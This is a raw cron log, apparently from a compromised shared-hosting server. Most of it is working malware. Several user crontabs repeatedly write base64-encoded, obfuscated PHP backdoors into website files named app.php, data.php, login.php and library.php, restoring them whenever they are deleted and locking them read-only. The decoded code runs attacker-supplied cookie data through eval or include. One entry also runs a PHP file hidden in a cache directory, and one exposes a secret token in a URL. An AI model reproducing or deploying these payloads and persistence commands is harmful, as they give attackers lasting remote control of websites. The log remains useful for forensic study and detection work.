Mar  1 06:54:02 medusa CROND[27569]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:54:02 medusa CROND[27570]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:55:01 medusa CROND[30518]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:55:02 medusa CROND[30686]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:55:02 medusa CROND[30705]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:55:02 medusa CROND[30708]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:55:02 medusa CROND[30710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:55:02 medusa CROND[30709]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:55:02 medusa CROND[30706]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:55:02 medusa CROND[30718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:55:02 medusa CROND[30719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:55:02 medusa CROND[30720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:55:02 medusa CROND[30726]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:55:02 medusa CROND[30727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:55:02 medusa CROND[30733]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:55:02 medusa CROND[30735]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:55:02 medusa CROND[30736]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:55:02 medusa CROND[30740]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:55:02 medusa CROND[30742]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:55:02 medusa CROND[30743]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:55:02 medusa CROND[30744]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:55:02 medusa CROND[30754]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:55:02 medusa CROND[30737]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:55:02 medusa CROND[30759]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:56:01 medusa CROND[826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:56:01 medusa CROND[858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:56:01 medusa CROND[1013]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:56:01 medusa CROND[1015]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:56:01 medusa CROND[1017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:56:01 medusa CROND[1047]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:56:01 medusa CROND[1048]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:56:01 medusa CROND[1065]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:56:01 medusa CROND[1067]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:56:01 medusa CROND[1070]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:56:01 medusa CROND[1071]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:56:01 medusa CROND[1073]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
